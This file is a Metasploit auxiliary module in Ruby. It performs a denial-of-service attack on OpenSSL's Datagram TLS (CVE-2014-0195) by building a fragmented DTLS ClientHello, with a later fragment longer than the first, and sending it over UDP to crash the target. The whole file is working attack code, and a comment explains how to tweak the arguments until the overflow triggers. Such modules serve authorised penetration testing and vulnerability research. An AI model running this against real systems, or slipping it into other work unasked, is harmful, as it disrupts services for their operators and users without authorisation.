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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Auxiliary::Dos
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  include Exploit::Remote::Udp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'        => 'OpenSSL DTLS Fragment Buffer Overflow DoS',
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      'Description' => %q{
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        This module performs a Denial of Service Attack against Datagram TLS in
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        OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.
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        This occurs when a DTLS ClientHello message has multiple fragments and the
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        fragment lengths of later fragments are larger than that of the first, a
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        buffer overflow occurs, causing a DoS.
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      },
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      'Author'  =>
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        [
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          'Juri Aedla <asd[at]ut.ee>', # Vulnerability discovery
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          'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '2014-0195'],
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          ['ZDI', '14-173'],
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          ['BID', '67900'],
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          ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'],
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          ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048']
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        ],
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      'DisclosureDate' => '2014-06-05'))
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    register_options([
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      Opt::RPORT(4433),
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      OptInt.new('VERSION', [true,  "SSl/TLS version", 0xFEFF])
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    ])
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  end
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  def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil)
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    # format is: type (1 byte), total length (3 bytes), sequence # (2 bytes),
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    # fragment offset (3 bytes), fragment length (3 bytes), fragment body
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    sol = (seq << 48) | (frag_offset << 24) | frag_length
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    [
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      (type << 24) | length,
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      (sol >> 32),
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      (sol & 0x00000000FFFFFFFF)
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    ].pack("NNN") + frag_body
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  end
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  def build_tls_message(type, version, epoch, sequence, message)
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    # format is: type (1 byte), version (2 bytes), epoch # (2 bytes),
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    # sequence # (6 bytes) + message length (2 bytes), message body
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    es = (epoch << 48) | sequence
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    [
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      type,
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      version,
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      (es >> 32),
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      (es & 0x00000000FFFFFFFF),
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      message.length
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    ].pack("CnNNn") + message
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  end
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  def run
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    # add a small fragment
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    fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')
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    # add a large fragment where the length is significantly larger than that of the first
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    # TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations
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    fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234))
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    message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)
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    connect_udp
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    print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet")
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    udp_sock.put(message)
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    disconnect_udp
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  end
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end
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